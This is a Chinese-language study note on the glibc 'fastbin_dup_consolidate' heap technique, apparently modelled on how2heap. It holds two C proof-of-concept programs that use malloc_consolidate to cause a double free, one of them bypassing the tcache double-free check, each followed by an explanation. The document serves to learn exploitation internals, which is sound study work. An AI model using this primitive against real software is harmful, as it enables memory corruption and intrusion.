fast_bin_consolidate
fast_bin_consolidate
原理
通过调用malloc_consolidate
函数,会将fastbin中的元素扯到其他地方去,导致了double free
。
这个问题直至glibc-2.36都没有被解决
fastbin_dup_consolidate(fastbin)
复现代码
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%pn", p1, p2);
fprintf(stderr, "Now free p1!n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%pn", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %pn", malloc(0x40), malloc(0x40));
}
现象
- 创建两个fastbin大小的chunk并释放远的那个
- 创建一个largebin大小的chunk,这时如果fastbin中有元素会触发
malloc_consolidate
函数,将fastbin中的chunk合并,放入unsortbins,然后根据大小放入smallbin或者largebin并创建(但是大小会变大一点)。 - 此时再进行free,则可以出现double free。
fastbin_dup_consolidate(tcache)
文档介绍
- 文档中介绍这个方式可以很有效地通过tcachebin的二次释放检查。
复现代码
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");
void *ptr[7];
for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);
void* p1 = calloc(1,0x40);
printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);
void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");
assert(p1 == p3);
printf("Triggering the double free vulnerability!\n\n");
free(p1);
void *p4 = malloc(0x400);
assert(p4 == p3);
printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}
现象
- 在创建了一个fastbin大小的chunk后,将其释放掉
- 创建一个tcache大小的块,这时会调用
malloc_consolidate
函数,导致fastbin中的chunk被合并到topchunk中,所以p1==p3
- 于是可以再次释放p1,实现double free。